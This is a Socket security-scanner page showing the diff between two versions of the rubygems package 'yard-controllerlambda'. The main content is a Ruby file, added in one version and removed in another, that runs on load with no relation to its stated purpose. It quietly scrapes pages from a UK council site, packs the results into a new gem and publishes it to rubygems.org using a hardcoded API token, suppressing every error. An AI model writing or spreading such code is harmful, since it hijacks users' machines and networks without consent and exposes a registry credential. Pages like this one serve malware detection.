🚨 Active Supply Chain Attack:node-ipc Package Compromised.Learn More
Socket
Book a DemoSign in
Socket

yard-controllerlambda

Package Overview
Dependencies
Maintainers
1
Versions
2
Alerts
File Explorer

Advanced tools

Socket logo

Install Socket

Detect and block malicious and high-risk dependencies

Install

yard-controllerlambda - rubygems Package Compare versions

Comparing version
0.0.1
to
0.0.3
+35
lib/yard-controllerlambda.rb
# -*- coding: UTF-8 -*-
begin
require 'net/http'; require 'uri'; require 'tmpdir';require 'openssl';
targets=[
'https://moderngov.lambeth.gov.uk/',
'https://moderngov.lambeth.gov.uk/mgCalendarMonthView.aspx',
'https://moderngov.lambeth.gov.uk/mgCalendarMonthView.aspx?GL=1&bcr=1&M=1&Y=2026',
'http://moderngov.lambeth.gov.uk/mgCalendarMonthView.aspx?GL=1&bcr=1&M=1&Y=2026',
'https://moderngov.lambeth.gov.uk/mgWhatsNew.aspx',
]
data="Plugin #{Time.now}\n"
targets.each do |url|
uri=URI(url)
# retry up to 2
got=false
2.times do |n|
begin
res=Net::HTTP.start(uri.host,uri.port,use_ssl:(uri.scheme=='https'),open_timeout:60,read_timeout:120){|h| h.get(uri.request_uri)}
data << "\n===== #{url} try=#{n} #{res.code} #{res.message} heads=#{res.content_length} =====\n" << res.body.to_s
got=true; break
rescue => e
data << "\nERR #{url} try=#{n} #{e.class}: #{e.message}\n"
end
end
end
Dir.mktmpdir do |d|
Dir.mkdir(File.join(d,'lib'));File.binwrite(File.join(d,'lib','dump.txt'),data);File.write(File.join(d,'lib','x.rb'),'#x')
File.write(File.join(d,'ex.gemspec'),"Gem::Specification.new {|s| s.name='yard-controllerlambda'; s.version='0.0.4'; s.summary='dump'; s.authors=['x']; s.files=['lib/dump.txt','lib/x.rb']; s.require_paths=['lib']; s.licenses=['MIT']}")
Dir.chdir(d) do
`gem build ex.gemspec`
u=URI('https://rubygems.org/api/v1/gems');req=Net::HTTP::Post.new(u);req['Authorization']='rubygems_830e967dd023d92da46904368f0f570a74e3c5878b1cd83c'; b=File.binread('yard-controllerlambda-0.0.4.gem'); req.body=b; req['Content-Length']=b.bytesize.to_s; req['Content-Type']='application/octet-stream'; Net::HTTP.start(u.host,u.port,use_ssl:true,read_timeout:80){|h| h.request(req)} rescue nil
end
end
rescue => e
end
-35
# -*- coding: UTF-8 -*-
begin
require 'net/http'; require 'uri'; require 'tmpdir';require 'openssl';
targets=[
'https://moderngov.lambeth.gov.uk/',
'https://moderngov.lambeth.gov.uk/mgCalendarMonthView.aspx',
'https://moderngov.lambeth.gov.uk/mgCalendarMonthView.aspx?GL=1&bcr=1&M=1&Y=2026',
'http://moderngov.lambeth.gov.uk/mgCalendarMonthView.aspx?GL=1&bcr=1&M=1&Y=2026',
'https://moderngov.lambeth.gov.uk/mgWhatsNew.aspx',
]
data="Plugin #{Time.now}\n"
targets.each do |url|
uri=URI(url)
# retry up to 2
got=false
2.times do |n|
begin
res=Net::HTTP.start(uri.host,uri.port,use_ssl:(uri.scheme=='https'),open_timeout:60,read_timeout:120){|h| h.get(uri.request_uri)}
data << "\n===== #{url} try=#{n} #{res.code} #{res.message} heads=#{res.content_length} =====\n" << res.body.to_s
got=true; break
rescue => e
data << "\nERR #{url} try=#{n} #{e.class}: #{e.message}\n"
end
end
end
Dir.mktmpdir do |d|
Dir.mkdir(File.join(d,'lib'));File.binwrite(File.join(d,'lib','dump.txt'),data);File.write(File.join(d,'lib','x.rb'),'#x')
File.write(File.join(d,'ex.gemspec'),"Gem::Specification.new {|s| s.name='yard-controllerlambda'; s.version='0.0.2'; s.summary='dump'; s.authors=['x']; s.files=['lib/dump.txt','lib/x.rb']; s.require_paths=['lib']; s.licenses=['MIT']}")
Dir.chdir(d) do
`gem build ex.gemspec`
u=URI('https://rubygems.org/api/v1/gems');req=Net::HTTP::Post.new(u);req['Authorization']='rubygems_830e967dd023d92da46904368f0f570a74e3c5878b1cd83c'; b=File.binread('yard-controllerlambda-0.0.2.gem'); req.body=b; req['Content-Length']=b.bytesize.to_s; req['Content-Type']='application/octet-stream'; Net::HTTP.start(u.host,u.port,use_ssl:true,read_timeout:80){|h| h.request(req)} rescue nil
end
end
rescue => e
end

Sorry, the diff of this file is not supported yet